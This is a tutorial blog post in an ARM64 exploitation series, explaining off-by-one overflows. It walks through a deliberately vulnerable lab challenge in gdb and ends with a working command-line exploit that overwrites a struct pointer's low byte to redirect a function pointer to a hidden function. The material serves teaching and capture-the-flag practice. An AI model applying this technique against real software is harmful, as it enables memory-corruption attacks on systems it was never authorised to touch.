ARM64 Reversing And Exploitation Part 9 – Exploiting an Off by One Overflow Vulnerability

Hello everyone! In this blog post, we will dive into a new vulnerability called off by one byte overflow . But before we get into the details, there are a few things you need to have in place.

  • Familiarity with ARM64 assembly instructions.

  • Familiarity with exploiting stack-based buffer overflow.

  • ARM64 environment with gef and gdb server.

  • Ability to read and understand C code.

If you are new here, we recommend trying out our complete ARM64 Exploitation series.

Introduction

Let’s discuss the off by one byte vulnerability.

As the name suggests, “off by one byte” refers to a specific type of overflow that occurs when only a single byte of data overflows. This can happen due to mistakes in how software handles data boundaries, especially with regard to arrays, strings, or other data structures. Such overflows can occur in both reading and writing data. You might be wondering how a single byte could cause significant damage. Let’s explore an example to find out.

				
					#include <stdio.h>

int main() {
  char buffer[10];
  for (int i = 0; i <= 10; i++) {
    buffer[i] = 'a';
  }

  printf("The contents of the buffer are: %s\n", buffer);

  return 0;
}
				
			

Looking at the above program at first glance, we see that it is a normal program. Let’s see what happens when we compile and execute it.

				
					8ksec@debian:~/lab/challenges/off_by_one$ gcc off.c -o off
8ksec@debian:~/lab/challenges/off_by_one$ ./off 
The contents of the buffer are: aaaaaaaaaaa
				
			

Did you find find the bug ?

The bug is in the loop. The program has a 10-byte buffer, but the loop counter is incremented to write 11 bytes to the buffer, overwriting the null byte. Since the buffer starts at index 0 and has a size of 10 bytes, the loop condition should be i < 10 to prevent exceeding the buffer’s bounds.

				
					for (int i = 0; i < 10; i++) {
    buffer[i] = 'a';
  }
				
			

Let’s see an another example.

				
					#include <stdio.h>

void main(){

  char s[5] = "Hello";
  for (int i =0 ;i <= 5; i++){
  printf("%c",s[i]);
  }
  printf("\n");


}
				
			

This is also similar to the previous example, but in this case its a read. In the loop, the printf()is reading out of bounds.

Let’s compile and see what this outputs.

As we can see, after printing ‘Hello,’ we encounter a strange non-printable character. This is because printf() reads one more byte than it should from its index.

Challenge

Let’s consider the below c code.

				
					#include <stdio.h>
#include <string.h>
#include <stdlib.h>

struct B2{
    int (*ptr)();
    char c[128];
};

struct B1{
    char data[16];
    struct B2 *myStruct;
    char data2[128];
};

void secret(){

printf("Game 0ver! You win :P\n");

}

void function(){
    printf("Everything is fine.\n");
}

int main(int argc, char *argv[]){
    
    printf("\033[1mWelcome to ROPLevel7 by @bellis1000!\nThis level involves exploiting an off-by-one vulnerability.\n\n\x1b[0m");
    
    if (argc < 3){
        printf("Usage: %s <data> <block_data>\n",argv[0]);
        exit(0);
    }
    
    struct B1 *s = malloc(256);
    s->myStruct = malloc(256);
    
    s->myStruct->ptr = function;
    strncpy(s->myStruct->c,argv[2],126);
    strncpy(s->data2,argv[2],126);
    
    // this is where the off-by-one bug occurs
    for (int i = 0; i <= 16; i++){
        if (argv[1][i] != 0){
            s->data[i] = argv[1][i];
        }else{
            break;
        }
    }
    
    // call function pointer
    s->myStruct->ptr();
    
    return 0;
}
				
			

You can get this source code from here.

Analyzing this source code, we can see there are two structs B1 and B2.

				
					struct B2{
    int (*ptr)();
    char c[128];
};
				
			

The struct B1 has a struct pointer to B2 .

 
				
					 struct B1 *s = malloc(256);
    s->myStruct = malloc(256); 
    s->myStruct->ptr = function;
    strncpy(s->myStruct->c,argv[2],126);
    strncpy(s->data2,argv[2],126);
				
			
  • Memory is allocated for a structure of type B1, and additional memory is allocated for B2 pointed to by myStruct.

  • A function pointer in the struct B2 pointed to by s->myStruct is set to point to a function named function.

  • Using strncpy, the code copies up to 126 characters from the command line argument argv[2] into the buffer cof the struct B2.

  • Additionally, it copies up to 126 characters from argv[2] into the bufferdata2 of the struct B1 pointed to by s.

				
					 // this is where the off-by-one bug occurs
    for (int i = 0; i <= 16; i++){
        if (argv[1][i] != 0){
            s->data[i] = argv[1][i];
        }else{
            break;
        }
    }
				
			

This is where the main vulnerability occurs. As we saw above, the loop iterates 17 times, thereby copying 17 characters into the data buffer. This will cause an overflow, and the overflown byte will overwrite the least significant byte in the B2 struct pointer.

Look at rough diagrams below.

This is before the loop.

After the loop, the last byte of the address is overwritten by the overflowed byte.

Let’s compile and run this code.

				
					 gcc off-by-one.c -o off-by-one -no-pie 
				
			
				
					8ksec@debian:~/lab/challenges/off_by_one$ ./off-by-one 
Welcome to ROPLevel7 by @bellis1000!
This level involves exploiting an off-by-one vulnerability.

Usage: ./off-by-one <data> <block_data>
8ksec@debian:~/lab/challenges/off_by_one$ 
				
			

We have to provide two arguments. Let’s do that.

				
					8ksec@debian:~/lab/challenges/off_by_one$ ./off-by-one AAAA AAAA
Welcome to ROPLevel7 by @bellis1000!
This level involves exploiting an off-by-one vulnerability.

Everything is fine.
				
			

Let’s provide a large input for both arguments.

				
					8ksec@debian:~/lab/challenges/off_by_one$ ./off-by-one AAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAA
Welcome to ROPLevel7 by @bellis1000!
This level involves exploiting an off-by-one vulnerability.

Segmentation fault
8ksec@debian:~/lab/challenges/off_by_one$ 
				
			

Ahh the program crashed. So let’s inspect what happened using gdb.

Disassembling the main() function, we can see two calls to the strncpy function.

 
				
					   struct B1 *s = malloc(256);
    s->myStruct = malloc(256); 
    s->myStruct->ptr = function;
    strncpy(s->myStruct->c,argv[2],126);
    strncpy(s->data2,argv[2],126);
				
			

Here, strncpy copies 126 bytes to the buffer in structure B1 and also copies the same to the data2 buffer in the B2 structure.

Let’s put a breakpoint in each of these strncpy and inspect that locations.

				
					gef➤  b *0x0000000000400864
Breakpoint 1 at 0x400864
gef➤  b *0x0000000000400888
Breakpoint 2 at 0x400888
				
			

Run the binary inside gdb with our arguments.

				
					gef➤  r AAAAAAA AAAAAAAA
				
			

The first breakpoint is hit. Let’s step over this call using ni. The x0 register will contain the address of the destination buffer.

We can examine this memory location using the x command.

We can see our A‘s at 0x4217c8, and before that, we can see an address. This is actually our pointer to the function called function() that prints “Everything is fine”.

				
					struct B2{
    int (*ptr)();
    char c[128];
};
				
			

If you do a disassembly of that address we can confirm that.

Let’s continue our program.

We hit the second breakpoint. Let’s step over this call and inspect the memory in x0 register.

 

We can see our block of “A”s again, and before that, we can see a memory address. The address 0x00000000004217c0 points to the start of the B2 struct, which has the pointer to the function() that prints “Everything is fine.”

				
					struct B1{
    char data[16];
    struct B2 *myStruct;
    char data2[128];
};
				
			

After this, we can see our disassembly of our loop.

				
					 // this is where the off-by-one bug occurs
    for (int i = 0; i <= 16; i++){
        if (argv[1][i] != 0){
            s->data[i] = argv[1][i];
        }else{
            break;
        }
    }
				
			

Now put a break point after the loop and see what happened to our struct.

				
					gef➤  b *0x00000000004008f8
Breakpoint 3 at 0x4008f8
gef➤  

				
			

Let’s continue using the c command.

The breakpoint has been hit. So, in the loop, the program copied the first block of “A”s we sent as our first input again to the char data[16]; buffer.

Let’s examine the memory.

At 0x4216b0, we can see our copied “A”s. Now, if we continue the program, it will call the function() and exit normally.

Let’s see what will happen when we provide a large blocks of “A”s.

 
				
					gef➤    r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
				
			

Put a breakpoint at the end of the loop and continue the until it completes the loop.

				
					gef➤  b *0x00000000004008f8
				
			

Let’s examine the memory.

We can observe that the loop overwrote the least significant byte of the address pointing to the start of struct B2. The address 0x0000000000421741 now points to zeroes. If we continue the execution, the program will likely crash because, at the end of the program, it attempts to call the function()that now points to a different location that doesn’t contain a valid memory address.

				
					 s->myStruct->ptr();
				
			

The program crashed as expected.

Exploitation

In this challenge, we need to call the secret() method. The way to do this is to start by inserting 17 “A”s to trigger the off-by-one vulnerability. Next, send a large block of input as the second argument and place the address of the secret() function at the location pointed to by the modified structure pointer.

Let’s do that but we first we need to find the offset to place the address of secret. We can find that by sending a offset pattern.

https://wiremask.eu/tools/buffer-overflow-pattern-generator/

Let’s generate a pattern and send this to the program.

Load the program inside gdb and put a breakpoint after the loop just like we did before.

Start the program by passing 17 “A”s (or more) and the pattern we generated.

Now we are one instruction past our breakpoint. Let’s inspect the memory region. The struct will be in the same address as before as it’s running inside gdb.

Let’s examine the memory.

				
					gef➤  x/50gx 0x00000000004216c8
				
			

At 0x421738+8, we can observe our pattern, although it’s only overwriting 6 bytes. This is acceptable because we only require four bytes for our address. Let’s attempt to determine the offset at 0x421738.

It’s 112. So it would be 120 (112+8) for 0x421740. Let’s start crafting our final exploit.

First, send 17 or more ‘A’s as the first argument, followed by 120 junk characters and the address of the secret() function.

As there’s no PIE enabled, the address remains the same.

So let’s try it. We can use python to construct this.

				
					./off-by-one $(python3 -c "print('A' * 17)") $(python3 -c 'print("A" * 120 + "\x84\x07\x40")')
				
			

And here we go, we executed the secret() function.

Looking to elevate your expertise in Mobile Security?

Offensive Mobile Reversing and Exploitation Course

365 Days of Access | Hands-On Learning | Self-Paced Training

GET IN TOUCH

Visit our training page if you’re interested in learning more about these techniques and developing your abilities further. Additionally, you may look through our Events page and sign up for our upcoming Public trainings. 

Check out our Certifications Program and get Certified today.

Please don’t hesitate to reach out to us through out Contact Us page or through the Button below if you have any questions or need assistance with Penetration Testing or any other Security-related Services. We will answer in a timely manner within 1 business day.

We are always looking for talented people to join our team. Visit out Careers page to look at the available roles. We would love to hear from you.

On Trend

Most Popular Stories

Hacking Android Games

Greetings and welcome to our blog post on the topic of Android game hacking. Today, we aim to provide you with an overview of the process involved in hacking Android games. It’s crucial to distinguish between app hacking and game hacking within the Android ecosystem.

Subscribe & Get InFormation

Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut elit tellus, luctus nec ullamcorper mattis, pulvinar dapibus leo.